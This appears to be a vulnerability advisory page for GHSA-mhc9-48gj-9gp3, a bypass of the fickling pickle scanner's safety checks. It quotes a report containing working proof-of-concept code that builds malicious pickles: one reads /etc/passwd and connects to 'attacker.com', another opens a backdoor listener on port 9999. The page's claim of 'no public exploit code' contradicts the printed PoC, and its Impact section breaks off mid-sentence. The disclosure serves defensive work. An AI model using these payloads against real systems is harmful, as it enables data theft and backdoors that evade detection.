# GHSA-mhc9-48gj-9gp3: Fickling has safety check bypass via REDUCE+BUILD opcode sequence

> Attackers can bypass fickling's safety checks by appending a BUILD opcode to malicious pickles, allowing dangerous code execution despite safety warnings.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 25 Feb 2026

## What is GHSA-mhc9-48gj-9gp3?

GHSA-mhc9-48gj-9gp3 is a vulnerability in fickling, published on 25 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

# Assessment

It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).

# Original report

### Summary
All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.

## Details

The bypass exploits three weaknesses in fickling's static analysis pipeline:

1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.

2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.

3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).

### Affected versions

All versions through 0.1.7 (latest as of 2026-02-18).

### Affected APIs

- `fickling.is_likely_safe()` - returns `True` for bypass payloads
- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`
- `fickling --check-safety` CLI - exits with code 0
- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes
- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes

## PoC

A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:

```python
import io, struct, tempfile, os

def sbu(s):
    """SHORT_BINUNICODE opcode helper."""
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def make_exfiltration_pickle():
    """
    Single pickle that:
      1. Reads /etc/passwd via fileinput.input()
      2. Opens TCP connection to attacker via smtplib.SMTP()
    Both operations pass as LIKELY_SAFE.
    """
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME
    payload = io.BytesIO()

    # --- Operation 1: Read /etc/passwd ---
    payload.write(sbu("fileinput") + sbu("input") + b"\x93")  # STACK_GLOBAL
    payload.write(sbu("/etc/passwd") + b"\x85")                # arg + TUPLE1
    payload.write(b"R")                                         # REDUCE
    payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b")  # BUILD
    payload.write(b"0")                                         # POP (discard result)

    # --- Operation 2: Connect to attacker ---
    payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93")     # STACK_GLOBAL
    payload.write(sbu("attacker.com") + b"\x85")               # arg + TUPLE1
    payload.write(b"R")                                         # REDUCE
    payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b")  # BUILD
    payload.write(b".")                                         # STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

# Generate and test
data = make_exfiltration_pickle()
with open("/tmp/exfil.pkl", "wb") as f:
    f.write(data)

import fickling
print(fickling.is_likely_safe("/tmp/exfil.pkl"))
# Output: True  <-- BYPASSED (file read + network connection in one pickle)
```

fickling decompiles this to:
```python
from fileinput import input
_var0 = input('/etc/passwd')       # reads /etc/passwd
_var1 = _var0
_var1.__setstate__({'_x': 'y'})
from smtplib import SMTP
_var2 = SMTP('attacker.com')       # opens TCP connection to attacker
_var3 = _var2
_var3.__setstate__({'_x': 'y'})
result = _var3
```

Yet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded).

**CLI verification:**
```bash
$ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?"
EXIT: 0    # BYPASSED - file read + network access passes as safe
```

**`always_check_safety()` verification:**
```python
import fickling, pickle

fickling.always_check_safety()

# This should raise UnsafeFileError for malicious pickles, but doesn't:
with open("/tmp/exfil.pkl", "rb") as f:
    result = pickle.load(f)
# No exception raised — malicious code executed successfully
```

**`check_safety()` context manager verification:**
```python
import fickling, pickle

with fickling.check_safety():
    with open("/tmp/exfil.pkl", "rb") as f:
        result = pickle.load(f)
# No exception raised — malicious code executed successfully
```

### Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

```python
import io, struct

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def make_backdoor_listener():
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME
    payload = io.BytesIO()

    # socketserver.TCPServer via STACK_GLOBAL
    payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")

    # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types
    payload.write(b"(")                                    # MARK
    payload.write(sbu("0.0.0.0"))                          # host string
    payload.write(b"J" + struct.pack("<i", 9999))          # BININT port
    payload.write(b"t")                                    # TUPLE

    # Handler class via STACK_GLOBAL
    payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")

    payload.write(b"\x86")  # TUPLE2 -> (address, handler)
    payload.write(b"R")     # REDUCE -> TCPServer(address, handler)
    payload.write(b"N")     # NONE
    payload.write(b"b")     # BUILD(None) -> no-op
    payload.write(b".")     # STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling, pickle, socket
data = make_backdoor_listener()
with open("/tmp/backdoor.pkl", "wb") as f:
    f.write(data)

print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True  <-- BYPASSED

server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!")  # succeeds
s.close()
server.server_close()
```

The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.

## Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:

- **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate(

## Which versions are affected by GHSA-mhc9-48gj-9gp3?

2 open source packages ship an affected version, including fickling.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `fickling` | PyPI | All versions | 0.1.8 |
| `fickling` | PyPI | All versions | 0.1.8 |

## How do I fix GHSA-mhc9-48gj-9gp3?

Upgrade fickling to 0.1.8 or later.

## Is GHSA-mhc9-48gj-9gp3 being exploited?

There is no known exploitation of GHSA-mhc9-48gj-9gp3 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-mhc9-48gj-9gp3 and fix it if it is affected.

What it is: GHSA-mhc9-48gj-9gp3 is a vulnerability in fickling, published on 25 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-mhc9-48gj-9gp3 in the wild and no public exploit code.

Affected packages and fixed versions:
- fickling (PyPI): affected all versions; fixed in 0.1.8
- fickling (PyPI): affected all versions; fixed in 0.1.8

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-mhc9-48gj-9gp3/ (Markdown: https://insights.sbomify.com/GHSA-mhc9-48gj-9gp3/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-mhc9-48gj-9gp3

---
From sbomify Insights: https://insights.sbomify.com/GHSA-mhc9-48gj-9gp3/
Summaries are generated and may contain mistakes; the official description above is the record.